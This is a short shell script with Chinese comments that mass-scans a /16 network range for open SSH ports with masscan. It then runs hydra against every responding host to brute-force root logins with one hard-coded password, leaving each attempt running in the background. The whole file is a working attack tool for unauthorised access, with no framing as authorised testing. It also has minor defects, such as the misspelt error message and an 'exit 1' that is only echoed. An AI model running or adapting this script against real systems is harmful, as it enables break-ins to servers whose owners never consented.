#!/bin/sh
ipaddress=$2
while getopts "i:?" ip
do
        case $ip in
             i)
                #参数存在$OPTARG中
		masscan $ipaddress/16 -p 22 --rate 5000 > $ipaddress.log ;;
             ?)
                #当有不认识的选项的时候ip为?
                echo "unkonw ipaddress" exit 1 ;;
         esac
done

less $ipaddress.log | awk '{print $6}' >> $ipaddress.hy


#echo  $ipaddress.hy
#exit 1


for line in `cat $ipaddress.hy`
do
  #echo $line
  hydra -l root -p 123456789O -t 2 ssh://$line >> $line.log 2>&1 &
done

